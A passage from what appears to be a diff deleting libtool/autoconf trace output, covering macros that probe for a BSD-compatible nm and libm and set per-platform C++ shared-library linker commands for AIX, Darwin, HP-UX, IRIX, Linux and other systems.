-])
-file_magic_cmd=$lt_cv_file_magic_cmd
-deplibs_check_method=$lt_cv_deplibs_check_method
-test -z "$deplibs_check_method" && deplibs_check_method=unknown
-])
-m4trace:acinclude.m4:3044: -1- AC_DEFUN([AC_PROG_NM], [AC_CACHE_CHECK([for BSD-compatible nm], lt_cv_path_NM,
-[if test -n "$NM"; then
- # Let the user override the test.
- lt_cv_path_NM="$NM"
-else
- lt_nm_to_check="${ac_tool_prefix}nm"
- if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
- lt_nm_to_check="$lt_nm_to_check nm"
- fi
- for lt_tmp_nm in $lt_nm_to_check; do
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- tmp_nm="$ac_dir/$lt_tmp_nm"
- if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
- # Check to see if the nm accepts a BSD-compat flag.
- # Adding the `sed 1q' prevents false positives on HP-UX, which says:
- # nm: unknown option "B" ignored
- # Tru64's nm complains that /dev/null is an invalid object file
- case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
- */dev/null* | *'Invalid file or object type'*)
- lt_cv_path_NM="$tmp_nm -B"
- break
- ;;
- *)
- case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
- */dev/null*)
- lt_cv_path_NM="$tmp_nm -p"
- break
- ;;
- *)
- lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
- continue # so that we can try to find one that supports BSD flags
- ;;
- esac
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
- done
- test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm
-fi])
-NM="$lt_cv_path_NM"
-])
-m4trace:acinclude.m4:3096: -1- AC_DEFUN([AC_CHECK_LIBM], [AC_REQUIRE([AC_CANONICAL_HOST])dnl
-LIBM=
-case $host in
-*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*)
- # These system don't have libm, or don't need it
- ;;
-*-ncr-sysv4.3*)
- AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw")
- AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm")
- ;;
-*)
- AC_CHECK_LIB(m, cos, LIBM="-lm")
- ;;
-esac
-])
-m4trace:acinclude.m4:3125: -1- AC_DEFUN([AC_LIBLTDL_CONVENIENCE], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
- case $enable_ltdl_convenience in
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- "") enable_ltdl_convenience=yes
- ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;;
- esac
- LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdlc.la
- LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl'])
- # For backwards non-gettext consistent compatibility...
- INCLTDL="$LTDLINCL"
-])
-m4trace:acinclude.m4:3151: -1- AC_DEFUN([AC_LIBLTDL_INSTALLABLE], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
- AC_CHECK_LIB(ltdl, lt_dlinit,
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- [if test x"$enable_ltdl_install" = xno; then
- AC_MSG_WARN([libltdl not installed, but installation disabled])
- else
- enable_ltdl_install=yes
- fi
- ])
- if test x"$enable_ltdl_install" = x"yes"; then
- ac_configure_args="$ac_configure_args --enable-ltdl-install"
- LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdl.la
- LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl'])
- else
- ac_configure_args="$ac_configure_args --enable-ltdl-install=no"
- LIBLTDL="-lltdl"
- LTDLINCL=
- fi
- # For backwards non-gettext consistent compatibility...
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- ;;
-
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- AC_PROG_LD
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-
- # If archive_cmds runs LD, not CC, wlarc should be empty
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- # ancient GNU ld didn't support --whole-archive et. al.
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- ;;
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-
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- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
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- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
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- then
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- else
- # We have old collect2
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-
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- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
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- # Warning - without using the other run time loading flags,
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- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
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- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
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- fi
- ;;
-
- beos*)
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-
- chorus*)
- case $cc_basename in
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
- # as there is no search path for DLLs.
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- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
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- # If the export-symbols file already is a .def file (1st line
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- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- if test "$GXX" = yes ; then
- lt_int_apple_cc_single_mod=no
- output_verbose_link_cmd='echo'
- if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
- lt_int_apple_cc_single_mod=yes
- fi
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- fi
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- fi
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- case $cc_basename in
- ec++*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- freebsd[[12]]*)
- # C++ shared libraries reported to be fairly broken before switch to ELF
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- freebsd-elf*)
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
- # conventions
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- ;;
- gnu*)
- ;;
- hpux9*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
- # but as the default
- # location of the library.
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- aCC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[[-]]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- hpux10*|hpux11*)
- if test $with_gnu_ld = no; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
- ;;
- *)
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- ;;
- esac
- fi
- case $host_cpu in
- hppa*64*|ia64*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
- *)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
- # but as the default
- # location of the library.
- ;;
- esac
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- aCC*)
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- if test $with_gnu_ld = no; then
- case $host_cpu in
- hppa*64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- interix3*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
- irix5* | irix6*)
- case $cc_basename in
- CC*)
- # SGI C++
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- # Archives containing C++ object files must be created using
- # "CC -ar", where "CC" is the IRIX C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs'
- ;;
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
- fi
- fi
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
- esac
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
- ;;
- icpc*)
- # Intel C++
- with_gnu_ld=yes
- # version 8.0 and above of icpc choke on multiply defined symbols
- # if we add $predep_objects and $postdep_objects, however 7.1 and
- # earlier do not add the objects themselves.
- case `$CC -V 2>&1` in
- *"Version 7."*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- *) # Version 8.0 or newer
- tmp_idyn=
- case $host_cpu in
- ia64*) tmp_idyn=' -i_dynamic';;
- esac
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
- ;;
- pgCC*)
- # Portland Group C++ compiler
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- ;;
- cxx*)
- # Compaq C++
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
-
- runpath_var=LD_RUN_PATH
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- esac
- ;;
- lynxos*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- m88k*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
- wlarc=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- fi
- # Workaround some broken pre-1.5 toolchains
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
- ;;
- openbsd2*)
- # C++ shared libraries are fairly broken
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- openbsd*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- fi
- output_verbose_link_cmd='echo'
- ;;
- osf3*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
-
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- cxx*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
